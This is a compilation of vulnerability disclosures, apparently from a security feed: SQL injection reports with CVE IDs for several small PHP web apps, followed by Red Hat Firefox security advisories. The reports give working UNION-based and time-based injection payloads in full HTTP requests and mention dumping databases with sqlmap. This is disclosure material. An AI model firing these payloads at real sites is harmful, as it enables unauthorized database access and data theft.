Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/?page=user/manage_user&id=.

**Online Fire Reporting System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html

Vulnerability File: /ofrs/admin/?page=user/manage\_user&id=

Vulnerability location: /ofrs/admin/?page=user/manage\_user&id=, id

\[+\] Payload: /ofrs/admin/?page=user/manage\_user&id=-6%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11--+ // Leak place ---> id

GET /ofrs/admin/?page\=user/manage\_user&id\=\-6%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close

CVE-2022-31975: bug_report/SQLi-2.md at main · k0xx11/bug_report

ChatBot App with Suggestion v1.0 is vulnerable to SQL Injection via /simple_chat_bot/admin/?page=user/manage_user&id=.

**ChatBot App with Suggestion v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html

Vulnerability File: /simple\_chat\_bot/admin/?page=user/manage\_user&id=

Vulnerability location: /simple\_chat\_bot/admin/?page=user/manage\_user&id=, id

\[+\] Payload: /simple\_chat\_bot/admin/?page=user/manage\_user&id=-4%27%20union%20select%201,database(),3,4,5,6,7,8,9,10--+ // Leak place ---> id

GET /simple\_chat\_bot/admin/?page\=user/manage\_user&id\=\-4%27%20union%20select%201,database(),3,4,5,6,7,8,9,10\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close

CVE-2022-31969: bug_report/SQLi-1.md at main · k0xx11/bug_report

EGavilan Media User-Registration-and-Login-System-With-Admin-Panel 1.0 is vulnerable to SQL Injection via profile_action - update_user. This allows a remote attacker to compromise Application SQL database.

**Hi  
I found a SQL injection vulnerability User-Registration-and-Login-System-With-Admin-Panel**

POST /User-Registration-and-Login-System-With-Admin-Panel-master/profile_action.php HTTP/1.1  
Host: 192.168.1.3  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 82  
Origin: http://192.168.1.3  
Connection: close  
Referer: http://192.168.1.3/User-Registration-and-Login-System-With-Admin-Panel-master/profile.php  
Cookie: PHPSESSID=54cet827kpno5c9g9i9grjq84h

fullname=test2'%2b(select*from(select(sleep(20)))a)%2b'&username=test1&email=test%40test.com&gender=Male&action=update_user

Above query will only sleep database for 20 second but Using SQLmap bad user can dump the database as show in image.

****

Control -  
User inputs consumed by the application should be sanitized based on the data type and data sets. For example, user input for age should only be allowed to contain numbers. Blacklist approach where certains characters and keywords are sanitized is not recommended.

Remediation -  
To prevent this follow the following steps:  
a) Validate all input data against a whitelist

b) Use of parameterized queries  
String selectStatement = "SELECT \* FROM User WHERE userId = ? ";  
PreparedStatement prepStmt = con.prepareStatement(selectStatement);  
prepStmt.setString(1, userId);  
ResultSet rs = prepStmt.executeQuery();

CVE-2021-44096: Vulnerability/BUG - SQL Injection on "profile_action - update_user" · Issue #2 · EGavilan-Media/User-Registration-and-Login-System-With-Admin-Panel

EGavilan Media Contact-Form-With-Messages-Entry-Management 1.0 is vulnerable to SQL Injection via Addmessage.php. This allows a remote attacker to compromise Application SQL database.

**\# Exploit Title : SQL injection vulnerability in EGavilan Media Contact-Form-With-Messages-Entry-Management 1.0 via “Addmessage.php”.** **that allows a remote attacker to compromise Application SQL database.**

#Exploit Author : Shubham Pandey

#Vendor : EGavilan Media

#Application Link : https://egavilanmedia.com/contact-form-with-messages-entry-management-with-php-and-mysql/

#Github Link: https://github.com/EGavilan-Media/Contact-Form-With-Messages-Entry-Management

#Version: 1.0

\# CVE Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44097

**\# CVE:** CVE-2021–44097

**What is SQL injection :**

SQL injection is a type of online security flaw that allows an attacker to interfere with a web application’s database queries. It allows an attacker to see data that they wouldn’t ordinarily be able to see. This could include data belonging to other users or any other information that the app has access to. In many circumstances, an attacker can modify or remove this data, causing the application’s content or behavior to be permanently altered.

**Attack Vector:**

By exploiting the login Page parameters Using tool like SQLMAP An attacker can dump entire data from the database. The data dumped can further lead to tampering the confidentiality of the user s personal, transaction details and financial information, various session tokens of the users etc. The data obtained can also be publicly disclosed or used for competitive gains leading to financial loss to an organization.

**Vulnerable Parameter:** “firstname=”

**Steps to Reproduce:**

1.  Put = ‘%2b(select\*from(select(sleep(20)))a)%2b’ and verify SQL Database response, if response come after 20 sec that mean Application SQL database is passing given query.

> _Login page request -  
> _POST /Contact-Form-With-Messages-Entry-Management-master/process/contacts/addMessage.php HTTP/1.1  
> Host: 192.168.1.6  
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
> Accept: */*  
> Accept-Language: en-US,en;q=0.5  
> Accept-Encoding: gzip, deflate  
> Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
> X-Requested-With: XMLHttpRequest  
> Content-Length: 139  
> Origin: http://192.168.1.6  
> Connection: close  
> Referer: http://192.168.1.6/Contact-Form-With-Messages-Entry-Management-master/view/contact.php  
> Cookie: PHPSESSID=8jp0c36flam1krptku4bq9hvf5
> 
> firstname=test'%2b(select*from(select(sleep(20)))a)%2b'&lastname=test&email=sdsada%40gmail.com&phone=123123131&subject=test&message=rtesdas

3\. Web Server accept our Payload and by using tools like “Sqlmap” we can see that payload gets executed and Database can be compromised.

**Author:** https://www.linkedin.com/in/shubham-pandey-10704014b/

CVE-2021-44097: CVE-2021–44097 - Shubham pandey - Medium

EGavilan Media Expense-Management-System 1.0 is vulnerable to SQL Injection via /expense_action.php. This allows a remote attacker to compromise Application SQL database.

**\# Exploit Title : SQL injection vulnerability in EGavilan Media Expense-Management-System 1.0 via /expense\_action.php. that allows a remote attacker to compromise Application SQL database.**

#Exploit Author : Shubham Pandey

#Vendor : EGavilan Media

#Application Link : https://egavilanmedia.com/expense-management-system/

#Github Link: https://github.com/EGavilan-Media/Expense-Management-System

#Version: 1.0

\# CVE Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44098

**\# CVE:** CVE-2021–44098

**What is SQL injection :**

SQL injection is a type of online security flaw that allows an attacker to interfere with a web application’s database queries. It allows an attacker to see data that they wouldn’t ordinarily be able to see. This could include data belonging to other users or any other information that the app has access to. In many circumstances, an attacker can modify or remove this data, causing the application’s content or behavior to be permanently altered.

**Attack Vector:**

By exploiting the login Page parameters Using tool like SQLMAP An attacker can dump entire data from the database. The data dumped can further lead to tampering the confidentiality of the user s personal, transaction details and financial information, various session tokens of the users etc. The data obtained can also be publicly disclosed or used for competitive gains leading to financial loss to an organization.

**Vulnerable Parameter:** “description=”

**Steps to Reproduce:**

1.  Put = ‘%2b(select\*from(select(sleep(20)))a)%2b’ and verify SQL Database response, if response come after 20 sec that mean Application SQL database is passing given query.

> _Login page request -  
> _POST //Expense-Management-System-master/expense_action.php HTTP/1.1  
> Host: 192.168.1.6  
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
> Accept: application/json, text/javascript, */*; q=0.01  
> Accept-Language: en-US,en;q=0.5  
> Accept-Encoding: gzip, deflate  
> Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
> X-Requested-With: XMLHttpRequest  
> Content-Length: 113  
> Origin: http://192.168.1.6  
> Connection: close  
> Referer: http://192.168.1.6//Expense-Management-System-master/  
> Cookie: PHPSESSID=8jp0c36flam1krptku4bq9hvf5
> 
> description=seafood'%2b(select*from(select(sleep(20)))a)%2b'&amount=3.21&date=2019-08-02&expense_id=2&action=Edit

3\. Web Server accept our Payload and by using tools like “Sqlmap” we can see that payload gets executed and Database can be compromised.

**Author:** https://www.linkedin.com/in/shubham-pandey-10704014b/

CVE-2021-44098: CVE-2021–44098 - Shubham pandey - Medium

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/?page=reports&date=.

**Online Fire Reporting System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html

Vulnerability File: /ofrs/admin/?page=reports&date=

Vulnerability location: /ofrs/admin/?page=reports&date=, date

\[+\] Payload: /ofrs/admin/?page=reports&date=2022-05-27%27%20union%20select%201,2,3,database(),5,6,7,8,9,10--+ // Leak place ---> date

GET /ofrs/admin/?page\=reports&date\=2022\-05\-27%27%20union%20select%201,2,3,database(),5,6,7,8,9,10\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close

CVE-2022-31974: bug_report/SQLi-1.md at main · k0xx11/bug_report

Red Hat Security Advisory 2022-4872-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 91.10.0 ESR. Issues addressed include a buffer overflow vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:4872-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:4872  
Issue date:        2022-06-01  
CVE Names:         CVE-2022-31736 CVE-2022-31737 CVE-2022-31738  
                   CVE-2022-31740 CVE-2022-31741 CVE-2022-31742  
                   CVE-2022-31747  
====================================================================  
1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 91.10.0 ESR.

Security Fix(es):

* Mozilla: Cross-Origin resource's length leaked (CVE-2022-31736)

* Mozilla: Heap buffer overflow in WebGL (CVE-2022-31737)

* Mozilla: Browser window spoof using fullscreen mode (CVE-2022-31738)

* Mozilla: Register allocation problem in WASM on arm64 (CVE-2022-31740)

* Mozilla: Uninitialized variable leads to invalid memory read  
(CVE-2022-31741)

* Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10  
(CVE-2022-31747)

* Mozilla: Querying a WebAuthn token with a large number of allowCredential  
entries may have leaked cross-origin information (CVE-2022-31742)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2092018 - CVE-2022-31736 Mozilla: Cross-Origin resource's length leaked  
2092019 - CVE-2022-31737 Mozilla: Heap buffer overflow in WebGL  
2092021 - CVE-2022-31738 Mozilla: Browser window spoof using fullscreen mode  
2092023 - CVE-2022-31740 Mozilla: Register allocation problem in WASM on arm64  
2092024 - CVE-2022-31741 Mozilla: Uninitialized variable leads to invalid memory read  
2092025 - CVE-2022-31742 Mozilla: Querying a WebAuthn token with a large number of allowCredential entries may have leaked cross-origin information  
2092026 - CVE-2022-31747 Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
firefox-91.10.0-1.el8_6.src.rpm

aarch64:  
firefox-91.10.0-1.el8_6.aarch64.rpm  
firefox-debuginfo-91.10.0-1.el8_6.aarch64.rpm  
firefox-debugsource-91.10.0-1.el8_6.aarch64.rpm

ppc64le:  
firefox-91.10.0-1.el8_6.ppc64le.rpm  
firefox-debuginfo-91.10.0-1.el8_6.ppc64le.rpm  
firefox-debugsource-91.10.0-1.el8_6.ppc64le.rpm

s390x:  
firefox-91.10.0-1.el8_6.s390x.rpm  
firefox-debuginfo-91.10.0-1.el8_6.s390x.rpm  
firefox-debugsource-91.10.0-1.el8_6.s390x.rpm

x86_64:  
firefox-91.10.0-1.el8_6.x86_64.rpm  
firefox-debuginfo-91.10.0-1.el8_6.x86_64.rpm  
firefox-debugsource-91.10.0-1.el8_6.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-31736  
https://access.redhat.com/security/cve/CVE-2022-31737  
https://access.redhat.com/security/cve/CVE-2022-31738  
https://access.redhat.com/security/cve/CVE-2022-31740  
https://access.redhat.com/security/cve/CVE-2022-31741  
https://access.redhat.com/security/cve/CVE-2022-31742  
https://access.redhat.com/security/cve/CVE-2022-31747  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYpgd1dzjgjWX9erEAQiwMxAAmZa+buJotqe0AFDVE5ooc1ECPTULONsH  
gB5tT6gtWJ72teJcV9aNmconFkJsQyxUPB41jTcwiBe8pVbbZJnXdtRUhMhEP182  
gxebVvKTOUa8Ce3i2Cw2LkIJzSBbTOocaJX9k7LegXdZa/brbmoDP0G+Ykt63Qh4  
qYoLzpskLRptjqw1RTU7D8qkatn3/9cmVHDgjc+VqT1HCwNxwo87+y4r71j0na9A  
59vB2UbWMpoJ6DNXlQjzgR9D80OSkA4/I5h96O8FrPuqh6pANWs2tHyfK4vhQJnA  
gPGjM0wbWm5doyXP31JGKcld5gnA1+bTrgi9XSKaTGjMiEt5IhWwN99zevnZISAC  
lpD/OO1IG73VIyA5Htj8ZhV2PEPbwIZS1+g8JZml3hiGt2EoSJB5BfPdvilNBtvH  
BsKYd/unfvk5RDC+VzKT1JhhgwZSowjRBrvqoYA1R4UfqnZbJ3wgmuJ/q0g7ggQy  
XupWksXyhQ8txEFnSRrYcYaqCFHW0Y9N5FFhK6K8X7JPALb5KSPDWYgiCU0NPoVN  
xhDWpNha6IKM0vC3582XM5o1K1Zu1HkkppzO2129sHFVBWeLNqelALFApZZUV1nm  
iDgIYH4SZTeyWh0qtiDLwQFxw8BHoA4l5froCMMGWxYw689u1xKc+mNhvKekK1rk  
O8z6gjDLQGA=cQ0/  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-4872-01

Red Hat Security Advisory 2022-4875-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 91.10.0 ESR. Issues addressed include a buffer overflow vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:4875-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:4875  
Issue date:        2022-06-01  
CVE Names:         CVE-2022-31736 CVE-2022-31737 CVE-2022-31738  
                   CVE-2022-31740 CVE-2022-31741 CVE-2022-31742  
                   CVE-2022-31747  
====================================================================  
1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.4  
Extended Update Support.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream EUS (v.8.4) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 91.10.0 ESR.

Security Fix(es):

* Mozilla: Cross-Origin resource's length leaked (CVE-2022-31736)

* Mozilla: Heap buffer overflow in WebGL (CVE-2022-31737)

* Mozilla: Browser window spoof using fullscreen mode (CVE-2022-31738)

* Mozilla: Register allocation problem in WASM on arm64 (CVE-2022-31740)

* Mozilla: Uninitialized variable leads to invalid memory read  
(CVE-2022-31741)

* Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10  
(CVE-2022-31747)

* Mozilla: Querying a WebAuthn token with a large number of allowCredential  
entries may have leaked cross-origin information (CVE-2022-31742)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2092018 - CVE-2022-31736 Mozilla: Cross-Origin resource's length leaked  
2092019 - CVE-2022-31737 Mozilla: Heap buffer overflow in WebGL  
2092021 - CVE-2022-31738 Mozilla: Browser window spoof using fullscreen mode  
2092023 - CVE-2022-31740 Mozilla: Register allocation problem in WASM on arm64  
2092024 - CVE-2022-31741 Mozilla: Uninitialized variable leads to invalid memory read  
2092025 - CVE-2022-31742 Mozilla: Querying a WebAuthn token with a large number of allowCredential entries may have leaked cross-origin information  
2092026 - CVE-2022-31747 Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10

6. Package List:

Red Hat Enterprise Linux AppStream EUS (v.8.4):

Source:  
firefox-91.10.0-1.el8_4.src.rpm

aarch64:  
firefox-91.10.0-1.el8_4.aarch64.rpm  
firefox-debuginfo-91.10.0-1.el8_4.aarch64.rpm  
firefox-debugsource-91.10.0-1.el8_4.aarch64.rpm

ppc64le:  
firefox-91.10.0-1.el8_4.ppc64le.rpm  
firefox-debuginfo-91.10.0-1.el8_4.ppc64le.rpm  
firefox-debugsource-91.10.0-1.el8_4.ppc64le.rpm

s390x:  
firefox-91.10.0-1.el8_4.s390x.rpm  
firefox-debuginfo-91.10.0-1.el8_4.s390x.rpm  
firefox-debugsource-91.10.0-1.el8_4.s390x.rpm

x86_64:  
firefox-91.10.0-1.el8_4.x86_64.rpm  
firefox-debuginfo-91.10.0-1.el8_4.x86_64.rpm  
firefox-debugsource-91.10.0-1.el8_4.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-31736  
https://access.redhat.com/security/cve/CVE-2022-31737  
https://access.redhat.com/security/cve/CVE-2022-31738  
https://access.redhat.com/security/cve/CVE-2022-31740  
https://access.redhat.com/security/cve/CVE-2022-31741  
https://access.redhat.com/security/cve/CVE-2022-31742  
https://access.redhat.com/security/cve/CVE-2022-31747  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYpgd4tzjgjWX9erEAQi2ig//cEjyYdU0zxx52YJvfHWfkRVx/G0rG6Ge  
3ogK1IKYRgbXhqB7dCb7fCp+IzfOmOnee4aCadnKolfH6YjsPZe6Ij5CDv/qZPus  
LkvkEU4YJhOCwnn+MhECTd8oOPhJIaXVOpPTpvaEpbcE26+L6bsM+x+Czz21EffF  
+whsiPwG/KnvuXlo2Y91dCl7+FyiGS1DMiHDWbKntgWveRvXntj2UNZd5HcMkOus  
teHrkqNmGVYUeFSI8gZ3GF2kHMzF9G26Zc2zJIG91TB0Hp0VohXFXBR3WHzqYoGN  
oCkTEhStSO5AzW3as9aqJaSGAN7xXqTZfnH9Qa8SRPLz2K7n7FD/MeKsuD3tA8SK  
QGlsTeZz3a/wBhy6gGA/TdR4kLMzu13zkXmOJdknUpnG4abx7A2SpDRaUpd/RFEG  
jl0PvlDRKe7Rk25WZg7p1U6geBD8WhHorEt9Zl16Ty2hbvj9C0+CysOCDhnOlsGY  
ZO/zSdpwoQAX3TGDPVUhnSVqEdOikEUxt9r1oLNVXSmMsxOi//hw2tPRf1gWIUYW  
sTc7UtV2H+55O0qeYjD168wtQsXkOZ+LuuYp1MIiHfvYGDVogXGAxuehuPClTvtG  
GwvPG9bHihK4Ub5WbCFUWd5mtYKWdsMhTaOZrvlINWAjATS1EGDPyhhXWCnLUQSF  
6EG7gSnwA6c=Et91  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-4875-01

Red Hat Security Advisory 2022-4871-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 91.10.0 ESR. Issues addressed include a buffer overflow vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:4871-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:4871  
Issue date:        2022-06-01  
CVE Names:         CVE-2022-31736 CVE-2022-31737 CVE-2022-31738  
                   CVE-2022-31740 CVE-2022-31741 CVE-2022-31742  
                   CVE-2022-31747  
====================================================================  
1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.1  
Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream E4S (v. 8.1) - ppc64le, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 91.10.0 ESR.

Security Fix(es):

* Mozilla: Cross-Origin resource's length leaked (CVE-2022-31736)

* Mozilla: Heap buffer overflow in WebGL (CVE-2022-31737)

* Mozilla: Browser window spoof using fullscreen mode (CVE-2022-31738)

* Mozilla: Register allocation problem in WASM on arm64 (CVE-2022-31740)

* Mozilla: Uninitialized variable leads to invalid memory read  
(CVE-2022-31741)

* Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10  
(CVE-2022-31747)

* Mozilla: Querying a WebAuthn token with a large number of allowCredential  
entries may have leaked cross-origin information (CVE-2022-31742)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2092018 - CVE-2022-31736 Mozilla: Cross-Origin resource's length leaked  
2092019 - CVE-2022-31737 Mozilla: Heap buffer overflow in WebGL  
2092021 - CVE-2022-31738 Mozilla: Browser window spoof using fullscreen mode  
2092023 - CVE-2022-31740 Mozilla: Register allocation problem in WASM on arm64  
2092024 - CVE-2022-31741 Mozilla: Uninitialized variable leads to invalid memory read  
2092025 - CVE-2022-31742 Mozilla: Querying a WebAuthn token with a large number of allowCredential entries may have leaked cross-origin information  
2092026 - CVE-2022-31747 Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10

6. Package List:

Red Hat Enterprise Linux AppStream E4S (v. 8.1):

Source:  
firefox-91.10.0-1.el8_1.src.rpm

ppc64le:  
firefox-91.10.0-1.el8_1.ppc64le.rpm  
firefox-debuginfo-91.10.0-1.el8_1.ppc64le.rpm  
firefox-debugsource-91.10.0-1.el8_1.ppc64le.rpm

x86_64:  
firefox-91.10.0-1.el8_1.x86_64.rpm  
firefox-debuginfo-91.10.0-1.el8_1.x86_64.rpm  
firefox-debugsource-91.10.0-1.el8_1.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-31736  
https://access.redhat.com/security/cve/CVE-2022-31737  
https://access.redhat.com/security/cve/CVE-2022-31738  
https://access.redhat.com/security/cve/CVE-2022-31740  
https://access.redhat.com/security/cve/CVE-2022-31741  
https://access.redhat.com/security/cve/CVE-2022-31742  
https://access.redhat.com/security/cve/CVE-2022-31747  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYpgd79zjgjWX9erEAQhjcg//VvCubahau29qOg07YlQCdxtIMzSMA+EF  
hUvI9Y7ztwnpyVjhwDtMzCvDc71UlPLKslDYIzGKs+kh7zeV55Puf/et/i+vqS9L  
d0+3cjfMuVKIGLIe+C+2zvRf6a4sA0kDhXOJJS+k4lO+eCNVxC7sPZ9Xu9q6q7S/  
xopwoSXgK2OGMQa0cx+O3UOnoHZewSsNzYpZ5Yk3oGs3gSuR0zwVkRpof1tm0IXQ  
ad7P/+VRMHcpvkDuN9skOfEfMK/GbtzYUd0RuNhWAP2ZkGbjzZkC/uI3yRbqles9  
3gVUnk1kEtylWEFNUSQdIeg0vtxzGSK6UtCwfqZCMDf5xplsL40gHaLFBAZ2+Pt3  
oCJuxJjAx7t6CS5jyd22AzOO0MZlXJ/i8ImMhF/el5BSIlYg47MvSmAdkifuOZSU  
LoY1yd/KIrzG4zcat9Wp/7cNLsJ/T6wU5IZIMkn8kP7t9zONmOYHNb7oUteTK0g2  
shUK29L3yar6mV3e4jF2EnKD7iIea6StDsPsYaXOx609qsFgRVMI8Vd8XXZsv+qw  
5WArFV81iX3Ren7MOhTOkIFTiCnYQfCt3TgPO3N+GtJG4EbH/SeBJmRmfVIAJ5rN  
Qdla0XxWSDjv2EhOHSaAMKQ1udzGgcyY46cJTdXhvlEEMCnTQt7ZfQ6KforixXR9  
Po1w1H4WsyE=+3cB  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-4871-01

Red Hat Security Advisory 2022-4870-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 91.10.0 ESR. Issues addressed include a buffer overflow vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:4870-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:4870  
Issue date:        2022-06-01  
CVE Names:         CVE-2022-31736 CVE-2022-31737 CVE-2022-31738  
                   CVE-2022-31740 CVE-2022-31741 CVE-2022-31742  
                   CVE-2022-31747  
====================================================================  
1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64  
Red Hat Enterprise Linux Client Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux Server Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Workstation (v. 7) - x86_64  
Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 91.10.0 ESR.

Security Fix(es):

* Mozilla: Cross-Origin resource's length leaked (CVE-2022-31736)

* Mozilla: Heap buffer overflow in WebGL (CVE-2022-31737)

* Mozilla: Browser window spoof using fullscreen mode (CVE-2022-31738)

* Mozilla: Register allocation problem in WASM on arm64 (CVE-2022-31740)

* Mozilla: Uninitialized variable leads to invalid memory read  
(CVE-2022-31741)

* Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10  
(CVE-2022-31747)

* Mozilla: Querying a WebAuthn token with a large number of allowCredential  
entries may have leaked cross-origin information (CVE-2022-31742)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

